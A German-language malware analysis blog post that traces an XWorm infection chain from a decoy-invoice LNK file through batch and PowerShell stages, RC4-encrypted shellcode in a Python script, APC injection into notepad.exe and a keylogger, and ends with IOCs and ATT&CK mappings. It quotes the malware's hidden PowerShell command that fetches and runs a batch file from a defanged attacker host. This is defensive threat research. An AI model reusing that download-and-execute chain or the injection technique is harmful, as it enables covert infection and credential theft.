Einführung:
Angreifer entwickeln ständig neue Techniken, um Systeme zu infizieren und vertrauliche Informationen zu stehlen. Eine aktuelle Kampagne umfasst eine mehrstufige Infektionskette, die mit einer LNK-Datei beginnt, die das Opfer dazu verleitet, eine Rechnung in einem Webbrowser zu öffnen. Im Hintergrund führt die Datei eine Reihe schädlicher Aktivitäten aus, die das System mit einem XWorm infizieren.
In diesem Blogbeitrag untersuchen wir die technischen Details von XWorm. In der ersten Analyse betrachten wir die verschiedenen Phasen der Infektionskette, beginnend mit einer LNK-Datei. Anschließend gehen wir auf die Taktiken, Techniken und Verfahren (TTPs) ein, wie beispielsweise die Verwendung von PowerShell, Python-Skripten und Payloads durch den Angreifer. Abschließend betrachten wir die Methoden, die die Shellcode-Injektion der XWorm-Payload ermöglichen. Hierbei verwendet der Angreifer die ältere Variante, die dieselbe Funktionalität wie die neuere Variante von XWorm aufweist , jedoch das Xlogger-Modul enthält.
Infektionskette:
Kürzlich stießen wir auf eine LNK-Datei, die Opfer durch das Öffnen einer Rechnung im Webbrowser anlockt. Im Hintergrund lädt sie eine ZIP-Datei mit Python-Setup-Dateien herunter. Die extrahierte Datei enthält Python-Setup-Dateien und verschiedene Skripte. Im Skriptordner wurde das schädliche Skript „Man.py“ gefunden, das für die Entschlüsselung und Einschleusung von schädlichem Shellcode in das System verantwortlich ist.

LNK-Datei:
Die LNK-Datei führt den PowerShell-Befehl im versteckten Modus aus. Mithilfe des PowerShell-Befehls kopiert sie die Batchdatei man.bat in den Download-Ordner und führt diese anschließend im Hintergrund mit Start-Process aus. Dabei wird das Flag -WindowStyle Hidden verwendet, um sicherzustellen, dass das Eingabeaufforderungsfenster nicht angezeigt wird.
"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c „Copy-Item ‚\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat‘ \“$env:USERPROFILE\Downloads\“; Start-Process \“$env:USERPROFILE\Downloads\man[.]bat\“ -WindowStyle Hidden“
"

Bat-Datei:
Die heruntergeladene .bat-Datei ist für die Einleitung des Infektionsprozesses verantwortlich. Sie lenkt das Opfer ab, indem sie im Webbrowser eine Steuerrechnung öffnet.
Die .bat-Datei enthält einen Link, der den Start einer PDF-Datei initiiert. Darüber hinaus führt sie einen PowerShell-Befehl aus, um eine ZIP-Datei herunterzuladen, deren Inhalt zu extrahieren, zum Ordner zu navigieren und ein Python-Skript auszuführen, das schädlichen Shellcode in das System einschleust.
Downloads Die ZIP-Datei:
Powershell -Befehl „& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }“
Es verwendet „Invoke-WebRequest“, um eine Datei von der fest codierten URL herunterzuladen und sie unter %destination% zu speichern, es handelt sich dabei um einen Download-Speicherort.
Extrahieren Sie die ZIP-Datei mit dem PowerShell-Befehl im selben Download-Ordner
powershell -Command “& { Expand-Archive -Path '%destination%' -DestinationPath '%extractTo%' -Force }
Nach dem Extrahieren der ZIP-Datei navigiert es zu dem Ordner, in dem sich man.py befindet, und führt es aus.

In Abb. 4 sehen wir, dass die ZIP-Datei mit dem Namen „qfv0ao“ in den Download-Ordner heruntergeladen wird, der Webbrowser die PDF-Datei öffnet (Abb. 5) und PowerShell zum Entpacken der Datei verwendet wird (Abb. 6).



Python-Skript:
Das Python-Skript enthält den verschlüsselten Shellcode. Dieser wird mittels Base64 entschlüsselt, gefolgt von der RC4-Entschlüsselung, wobei der Schlüssel im Skript selbst fest codiert ist. Es verwendet VirtualProtect, um die Berechtigung des zugewiesenen Speichers zu ändern, wie in Abbildung 7 zu sehen ist.

Injektion:
Das Python-Skript legt zunächst die Ausführungsberechtigung für den Shellcode fest und führt ihn dann aus. Die Startfunktion des Shellcodes übernimmt die Entschlüsselung und Ausführung der Nutzlast, die XWorm darstellt. In Abb. 8 unten sehen wir die Sequenz der Shellcode-Injektion.

In Abb. 8 ist der Shellcode mit der Berechtigung PAGE_EXECUTE_READWRITE zu sehen . Die Ausführung des Shellcodes ist in Abb. 9 dargestellt. Einige Bytes des ersten Teils des Shellcodes sind für das Einschleusen des Shellcodes in „notepad.exe“ verantwortlich.



Nach der Ausführung des Python-Skripts man.py wird gemäß Abb. 11 „notepad.exe“ gestartet. Zunächst wird notepad.exe im Standby-Zustand gestartet. Anschließend werden Speicher zugewiesen und Shellcode in den Adressraum von notepad.exe eingefügt (siehe Abb. 12 und 13).
Beim Einfügen des Shellcodes wird ein asynchroner Prozeduraufruf (APC) an notepad.exe gesendet. Dieser APC verweist auf die Adresse, an der sich der Schadcode im Speicher befindet. Wird notepad.exe aus dem angehaltenen Zustand fortgesetzt, löst der APC die Ausführung des Schadcodes aus.


PE-Datei:
Diese Variante von XWorm ist eine ältere, noch aktive Version, die neue Methoden zur Infektion des Systems ausprobiert. In dieser Version wird unmittelbar nach der Mutex-Erstellung die Xlogger-Funktion „callk“ aufgerufen. Dieses Xlogger-Modul protokolliert alle Ereignisse wie das Öffnen von Dateien, Tastatureingaben, die Nutzung des Webbrowsers usw. und speichert sie im Pfad „Local/Temp/log.txt“. Durch den entsprechenden Befehl vom C2-Server wird die Datei weiter exfiltriert.

Keylogging:
Die Keylogger-Funktion dient zum Erfassen von Tastatureingaben und kann potenziell sensible Informationen wie Anmeldeinformationen oder persönliche Daten stehlen. Wie wir im folgenden Snippet sehen, werden APIs wie SetWindowsHookEx mit dem Hook-Typ WH_KEYBOARD_LL verwendet, um Tastatureingaben zu erfassen. Diese protokollierten Tastatureingaben können lokal gespeichert oder exfiltriert werden.
Darüber hinaus werden häufig Funktionen wie GetKeyboardState oder ToUnicodeEx verwendet, um Tastendrücke unter Berücksichtigung des aktuellen Tastaturlayouts in lesbaren Text umzuwandeln.

Fazit:
In diesem Blogbeitrag beschreiben wir die Infektionskette eines ausgeklügelten, mehrstufigen Malware- Angriffs, der verschiedene Techniken nutzt, um das System des Opfers zu infizieren. Durch die Kombination einer schädlichen LNK-Datei, PowerShell-Befehlen, einer Batch-Datei, Python-Skripten und Speichereinschleusung führt die Malware ihre Nutzlast ohne jegliche Aufforderung aus. Ihre Fähigkeiten, darunter Shellcode-Injektion und Keylogging, ermöglichen es ihr, sensible Informationen wie Anmeldedaten zu stehlen und an einen entfernten, vom Angreifer kontrollierten Server zu übertragen.
IOCs:
MD5
| Name | MD5 |
| LNK-Datei | 1556BD8155D8E9FF2DBDCD852A354B64 |
| Batchdatei | D0B5238A18ABC402B506F608968270DC |
| PLZ | C627DE3B90A0FB5CA8964026360B053A |
| XWorm-Nutzlast | 5EDAB6926E304E4DBEF76800918BEE8A
|
Schutz:
Trojan.Xworm.S34251703
Trojan.GenericFC.S29960909
MITRE ATT&CK:
| Taktik | Technik-ID | Name |
| Verschleierung | T1027 | Verschleierte Dateien oder Informationen |
| Ausführung | T1059.005 | Befehls- und Skriptinterpreter: Visual Basic |
| Screen Capture | T1113 | Screen Capture |
| Sammeln Sie Informationen zum Opfer | T1592 | Sammelt Systeminformationen |
| Eingabeerfassung | T1056 | Keylogging |
| Verteidigungsflucht | T1055.002 | Prozessinjektion: Portable Executable Injection |
| Inhaltseinfügung | T1659 | Einschleusen von Schadcode in Systeme |
| Command and Control | T1071.001 | Application Layer Protocol: Webprotokolle |
Autor:
Vaibhav Krushna Billade
Rumana Siddiqui



